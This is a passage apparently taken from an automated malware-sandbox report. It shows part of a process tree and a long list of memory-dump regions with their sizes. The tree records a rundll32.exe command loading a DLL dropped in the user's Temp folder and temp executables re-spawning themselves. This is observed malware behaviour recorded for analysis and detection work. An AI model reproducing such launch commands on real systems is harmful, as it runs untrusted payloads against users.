                                                                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                          PID:6504
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:6528
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\C48F.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\C48F.exe
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:5640
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\C48F.exe
                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\C48F.exe
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:2384
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\F4D8.exe
                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\F4D8.exe
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                  PID:4472
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\F4D8.exe
                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\F4D8.exe
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:2588

                                                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                                                                                                                        • memory/380-322-0x0000000001730000-0x0000000001732000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                        • memory/388-562-0x000001C0B73A0000-0x000001C0B7412000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          456KB

                                                                                                                                                                                                                                                                                                        • memory/728-362-0x0000000000400000-0x000000000045E000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          376KB

                                                                                                                                                                                                                                                                                                        • memory/728-359-0x00000000001D0000-0x00000000001F6000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          152KB

                                                                                                                                                                                                                                                                                                        • memory/728-361-0x0000000000530000-0x0000000000573000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          268KB

                                                                                                                                                                                                                                                                                                        • memory/1180-222-0x0000000000400000-0x00000000004D8000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          864KB

                                                                                                                                                                                                                                                                                                        • memory/1280-236-0x000000001B550000-0x000000001B552000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                        • memory/1280-187-0x00000000008B0000-0x00000000008B1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/1344-530-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          36KB

                                                                                                                                                                                                                                                                                                        • memory/1376-231-0x0000000004E40000-0x0000000004E41000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/1376-252-0x0000000004E80000-0x0000000004E81000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/1376-215-0x00000000006A0000-0x00000000006A1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/1640-351-0x0000000007790000-0x00000000078DC000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          1.3MB

                                                                                                                                                                                                                                                                                                        • memory/1920-276-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          80KB

                                                                                                                                                                                                                                                                                                        • memory/2144-299-0x0000000005220000-0x0000000005221000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2144-296-0x00000000050F0000-0x00000000050F1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2144-282-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          128KB

                                                                                                                                                                                                                                                                                                        • memory/2144-327-0x0000000005040000-0x0000000005646000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          6.0MB

                                                                                                                                                                                                                                                                                                        • memory/2144-291-0x0000000005650000-0x0000000005651000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2260-348-0x000000001BCE0000-0x000000001BCE2000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                        • memory/2276-278-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2340-224-0x00000000007B0000-0x00000000007B1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2424-336-0x000000001BAF0000-0x000000001BAF2000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                        • memory/2680-271-0x0000000000400000-0x0000000000401000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2688-449-0x00000000057C0000-0x00000000057C1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2688-418-0x0000000077250000-0x00000000773DE000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          1.6MB

                                                                                                                                                                                                                                                                                                        • memory/2740-232-0x00000000065C2000-0x00000000065C3000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-301-0x0000000006B90000-0x0000000006B91000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-206-0x0000000003EF0000-0x0000000003EF1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-306-0x0000000007760000-0x0000000007761000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-246-0x0000000006A10000-0x0000000006A11000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-254-0x0000000007310000-0x0000000007311000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-237-0x00000000065C0000-0x00000000065C1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-466-0x00000000065C3000-0x00000000065C4000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-225-0x0000000006C00000-0x0000000006C01000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-217-0x00000000063F0000-0x00000000063F1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-390-0x000000007EC70000-0x000000007EC71000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-250-0x00000000072A0000-0x00000000072A1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-248-0x0000000007230000-0x0000000007231000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2740-202-0x0000000003EF0000-0x0000000003EF1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2764-214-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          80KB

                                                                                                                                                                                                                                                                                                        • memory/2800-255-0x00000000001E0000-0x00000000001E8000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          32KB

                                                                                                                                                                                                                                                                                                        • memory/2800-256-0x00000000001F0000-0x00000000001F9000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          36KB

                                                                                                                                                                                                                                                                                                        • memory/2800-260-0x0000000000400000-0x0000000000440000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          256KB

                                                                                                                                                                                                                                                                                                        • memory/2824-309-0x00000000008A0000-0x00000000008A1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/2844-533-0x0000021F9D370000-0x0000021F9D3E2000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          456KB

                                                                                                                                                                                                                                                                                                        • memory/3056-298-0x00000000008D0000-0x00000000008E6000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          88KB

                                                                                                                                                                                                                                                                                                        • memory/3804-451-0x0000000005640000-0x0000000005641000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4000-290-0x00000000002F0000-0x00000000002F1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4000-300-0x0000000000A20000-0x0000000000A21000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4000-324-0x0000000004C60000-0x0000000004C61000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4092-133-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          572KB

                                                                                                                                                                                                                                                                                                        • memory/4092-136-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          1.5MB

                                                                                                                                                                                                                                                                                                        • memory/4092-134-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          572KB

                                                                                                                                                                                                                                                                                                        • memory/4092-132-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          572KB

                                                                                                                                                                                                                                                                                                        • memory/4092-144-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          100KB

                                                                                                                                                                                                                                                                                                        • memory/4092-140-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          152KB

                                                                                                                                                                                                                                                                                                        • memory/4092-138-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          1.5MB

                                                                                                                                                                                                                                                                                                        • memory/4092-139-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          100KB

                                                                                                                                                                                                                                                                                                        • memory/4092-142-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          100KB

                                                                                                                                                                                                                                                                                                        • memory/4092-141-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          100KB

                                                                                                                                                                                                                                                                                                        • memory/4092-137-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          1.5MB

                                                                                                                                                                                                                                                                                                        • memory/4092-135-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          1.5MB

                                                                                                                                                                                                                                                                                                        • memory/4232-352-0x0000000001460000-0x0000000001462000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                        • memory/4252-461-0x00000000013B0000-0x00000000013B1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4416-244-0x0000000000D40000-0x0000000000D41000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4416-240-0x0000000000D10000-0x0000000000D11000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4416-238-0x0000000000C90000-0x0000000000C91000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4416-243-0x0000000000D30000-0x0000000000D31000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4416-245-0x0000000001180000-0x000000000195E000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          7.9MB

                                                                                                                                                                                                                                                                                                        • memory/4416-241-0x0000000000D20000-0x0000000000D21000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4416-239-0x0000000000CF0000-0x0000000000CF1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4604-414-0x0000000004C60000-0x0000000004C61000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4636-344-0x0000000002150000-0x00000000021CB000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          492KB

                                                                                                                                                                                                                                                                                                        • memory/4636-347-0x00000000021D0000-0x00000000022A5000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          852KB

                                                                                                                                                                                                                                                                                                        • memory/4636-350-0x0000000000400000-0x00000000004D8000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          864KB

                                                                                                                                                                                                                                                                                                        • memory/4680-318-0x0000000000570000-0x00000000006BA000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          1.3MB

                                                                                                                                                                                                                                                                                                        • memory/4680-315-0x00000000001E0000-0x00000000001F0000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          64KB

                                                                                                                                                                                                                                                                                                        • memory/4696-388-0x000000007F310000-0x000000007F311000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4696-462-0x00000000071B3000-0x00000000071B4000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4696-204-0x00000000032C0000-0x00000000032C1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4696-219-0x00000000071B0000-0x00000000071B1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4696-228-0x00000000071B2000-0x00000000071B3000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4696-200-0x00000000032C0000-0x00000000032C1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4736-216-0x00000000005B0000-0x00000000005B1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4736-242-0x0000000000EE0000-0x0000000000EE1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4736-251-0x00000000050F0000-0x00000000050F1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4736-235-0x0000000004E80000-0x0000000004E81000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4736-257-0x0000000005600000-0x0000000005601000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/4748-515-0x00000237FDAC0000-0x00000237FDB32000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          456KB

                                                                                                                                                                                                                                                                                                        • memory/4748-507-0x00000237FD7F0000-0x00000237FD83D000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          308KB

                                                                                                                                                                                                                                                                                                        • memory/4756-223-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          320KB

                                                                                                                                                                                                                                                                                                        • memory/4756-230-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          320KB

                                                                                                                                                                                                                                                                                                        • memory/5020-495-0x00000000048CB000-0x00000000049CC000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          1.0MB

                                                                                                                                                                                                                                                                                                        • memory/5020-523-0x0000000002F50000-0x0000000002FAD000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          372KB

                                                                                                                                                                                                                                                                                                        • memory/5056-234-0x00000000001F0000-0x00000000001F1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/5196-446-0x00000000055E0000-0x00000000055E1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/5596-547-0x0000018F31000000-0x0000018F31072000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          456KB

                                                                                                                                                                                                                                                                                                        • memory/5868-542-0x00000000049C4000-0x00000000049C6000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                        • memory/5868-538-0x00000000049C2000-0x00000000049C3000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/5868-512-0x0000000002070000-0x00000000020A9000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          228KB

                                                                                                                                                                                                                                                                                                        • memory/5868-518-0x0000000000400000-0x0000000000455000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          340KB

                                                                                                                                                                                                                                                                                                        • memory/5868-502-0x00000000049C0000-0x00000000049C1000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                        • memory/5868-498-0x0000000000460000-0x000000000050E000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          696KB

                                                                                                                                                                                                                                                                                                        • memory/6124-550-0x00000000001E0000-0x00000000001E8000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          32KB

                                                                                                                                                                                                                                                                                                        • memory/6124-554-0x00000000001F0000-0x00000000001F9000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          36KB

                                                                                                                                                                                                                                                                                                        • memory/6124-558-0x0000000000400000-0x0000000000432000-memory.dmp

                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                          200KB